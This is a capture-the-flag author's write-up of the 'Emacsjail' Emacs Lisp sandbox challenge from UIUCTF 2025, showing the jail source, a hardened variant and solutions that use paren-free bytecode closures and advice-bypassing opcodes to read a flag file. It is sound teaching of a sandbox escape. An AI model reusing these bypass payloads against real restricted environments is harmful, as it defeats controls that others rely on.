feyor.sh

Emacsjail

Emacsjail was an Emacs Lisp jail challenge I wrote for UIUCTF 2025. There were 17 solves during the competition, some of which were quite creative!

Description

Mom, can we have SBCL?

No, we have SBCL at home.

SBCL at home:

Emacs Lisp
;;; -*- lexical-binding:t -*-

(defun check (input)
  (not (string-match-p ".*(.*).*" input)))

(defun panic (str &rest fmt)
  (message str fmt)
  (kill-emacs))

(let* ((input (read-string "Input: "))
       (code (if (check input)
                 (car (read-from-string input))
            (panic "no eval for you"))))
  (find-file-noselect "./flag.txt")
  (mapcar
   (lambda (sym)
       (advice-add sym :before (lambda (&rest _) (panic "no functional programming allowed: %s" (symbol-name sym)))))
   '(buffer-size following-char preceding-char char-after char-before
     buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
     call-process call-process-region getenv-internal
     find-file-name-handler
     copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
  (unless (functionp code) (panic "only functional programming allowed"))
  (message (funcall code))
  (kill-emacs))

Diff
Bonus round: revengeance
--- a/challenge.el
+++ b/challenge.el
@@ -18,7 +18,9 @@
    '(buffer-size following-char preceding-char char-after char-before
      buffer-string buffer-substring buffer-substring-no-properties compare-buffer-substrings subst-char-in-region delete-and-extract-region
      call-process call-process-region getenv-internal
+     set-process-plist make-process make-pipe-process make-serial-process make-network-process
      find-file-name-handler
+     set-buffer get-buffer get-buffer-create get-file-buffer get-truename-buffer other-buffer find-buffer buffer-local-value buffer-local-variables buffer-swap-text make-overlay
      copy-file rename-file add-name-to-file make-symbolic-link access-file insert-file-contents))
   (unless (functionp code) (panic "only functional programming allowed"))
   (message (funcall code))

Solution

So we’re writing Lisp code without parens… a little cursed, but ok. The first insight is that the read syntax for closures doesn’t (necessarily) use any parentheses if we use bytecode.

Emacs Lisp
(format "%s (%s check)\n%s (%s check)"
        (lambda nil) (if (check (prin1-to-string (lambda nil))) "passes" "fails")
        (byte-compile (lambda nil)) (if (check (prin1-to-string (byte-compile (lambda nil)))) "passes" "fails"))
"#[nil (nil) (t)] (fails check)
#[0 \\300\\207 [nil] 1] (passes check)"

The second insight is that Emacs advice does not apply to functions which have dedicated opcodes in the Emacs Lisp bytecode interpreter.1 Naturally, this behaviour is documented in the Emacs manual.

It is possible to advise a primitive (see What Is a Function?), but one should typically not do so, for two reasons. Firstly, some primitives are used by the advice mechanism, and advising them could cause an infinite recursion. Secondly, many primitives are called directly from C, and such calls ignore advice; hence, one ends up in a confusing situation where some calls (occurring from Lisp code) obey the advice and other calls (from C code) do not.

There are two such functions, set-buffer and buffer-substring, that allow us to extricate the flag.

Emacs Lisp
(defun disass (form)
  (with-temp-buffer
    (disassemble (byte-compile form) (current-buffer))
    (buffer-string)))

(disass (lambda () (set-buffer "*flag.txt*") (buffer-substring (point-min) (point-max))))
"byte code:
  args: nil
0       constant  \"*flag.txt*\"
1       set-buffer
2       discard
3       point-min
4       point-max
5       buffer-substring
6       return
"

(Note that byte-compile can behave strangely depending on your Emacs version and you might have to write the bytecode by hand, in which case the Emacs Lisp Bytecode Reference Manual is very useful.)

At least, that was the intended solve: as it turns out, I forgot to advise quite a few functions. Take for example the following solution:

Emacs Lisp
(disass (car (read-from-string "#[0 \"\\300\\301!\\210\\305\\302\\303 \\304 \\\"!\\207\" [set-buffer \"flag.txt\" filter-buffer-substring point-min point-max message] 3]")))
"byte code:
  args: nil
0       constant  set-buffer
1       constant  \"flag.txt\"
2       call      1
3       discard
4       constant  message
5       constant  filter-buffer-substring
6       constant  point-min
7       call      0
8       constant  point-max
9       call      0
10      call      2
11      call      1
12      return
"